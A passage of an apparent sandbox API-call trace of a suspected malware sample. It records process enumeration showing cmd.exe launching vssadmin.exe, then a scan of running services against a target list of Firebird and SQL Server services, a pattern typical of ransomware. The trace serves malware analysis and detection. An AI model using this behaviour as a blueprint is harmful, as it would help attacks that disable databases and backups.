th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.692] lstrlenW (lpString="explorer.exe") returned 12 [0240.692] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.692] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0240.692] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.692] lstrlenW (lpString="SearchUI.exe") returned 12 [0240.692] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.693] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0240.693] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0240.693] lstrlenW (lpString="winhost.exe") returned 11 [0240.693] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.693] lstrlenW (lpString="cmd.exe") returned 7 [0240.694] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.694] lstrlenW (lpString="conhost.exe") returned 11 [0240.694] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0240.694] lstrlenW (lpString="consent.exe") returned 11 [0240.694] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0240.695] lstrlenW (lpString="dllhost.exe") returned 11 [0240.695] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0240.695] lstrlenW (lpString="vssadmin.exe") returned 12 [0240.695] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0240.696] CloseHandle (hObject=0x4bc) returned 1 [0240.696] Sleep (dwMilliseconds=0x1f4) [0241.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0241.506] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0241.507] GetLastError () returned 0xea [0241.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5061090 [0241.507] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5061090, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5061090, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0241.508] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0241.508] lstrlenW (lpString="Appinfo") returned 7 [0241.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0241.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0241.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0241.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0241.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0241.508] lstrlenW (lpString="AppXSvc") returned 7 [0241.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0241.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0241.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0241.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0241.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0241.508] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.509] lstrlenW (lpString="Audiosrv") returned 8 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0241.509] lstrlenW (lpString="BFE") returned 3 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.509] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0241.509] lstrlenW (lpString="CDPSvc") returned 6 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0241.509] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0241.509] lstrlenW (lpString="CryptSvc") returned 8 [0241.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.509] lstrlenW (lpString="DcomLaunch") returned 10 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.510] lstrlenW (lpString="DeviceAssociationService") returned 24 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0241.510] lstrlenW (lpString="Dhcp") returned 4 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.510] lstrlenW (lpString="Dnscache") returned 8 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.510] lstrlenW (lpString="DPS") returned 3 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.510] lstrlenW (lpString="DusmSvc") returned 7 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0241.510] lstrlenW (lpString="EventLog") returned 8 [0241.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0241.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0241.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0241.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0241.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0241.510] lstrlenW (lpString="EventSystem") returned 11 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.511] lstrlenW (lpString="FontCache") returned 9 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0241.511] lstrlenW (lpString="gpsvc") returned 5 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.511] lstrlenW (lpString="iphlpsvc") returned 8 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0241.511] lstrlenW (lpString="KeyIso") returned 6 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0241.511] lstrlenW (lpString="LanmanServer") returned 12 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0241.511] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.511] lstrlenW (lpString="lfsvc") returned 5 [0241.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0241.512] lstrlenW (lpString="lmhosts") returned 7 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.512] lstrlenW (lpString="LSM") returned 3 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0241.512] lstrlenW (lpString="MpsSvc") returned 6 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.512] lstrlenW (lpString="NcbService") returned 10 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0241.512] lstrlenW (lpString="netprofm") returned 8 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0241.512] lstrlenW (lpString="NgcSvc") returned 6 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0241.512] lstrlenW (lpString="NlaSvc") returned 6 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.512] lstrlenW (lpString="nsi") returned 3 [0241.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.512] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.512] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.513] lstrlenW (lpString="PcaSvc") returned 6 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.513] lstrlenW (lpString="PlugPlay") returned 8 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.513] lstrlenW (lpString="Power") returned 5 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.513] lstrlenW (lpString="ProfSvc") returned 7 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.513] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.513] lstrlenW (lpString="RpcSs") returned 5 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.513] lstrlenW (lpString="SamSs") returned 5 [0241.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.514] lstrlenW (lpString="Schedule") returned 8 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.514] lstrlenW (lpString="SecurityHealthService") returned 21 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0241.514] lstrlenW (lpString="SENS") returned 4 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0241.514] lstrlenW (lpString="ShellHWDetection") returned 16 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0241.514] lstrlenW (lpString="Spooler") returned 7 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0241.514] lstrlenW (lpString="StateRepository") returned 15 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0241.514] lstrlenW (lpString="SysMain") returned 7 [0241.514] lstrcmpiW 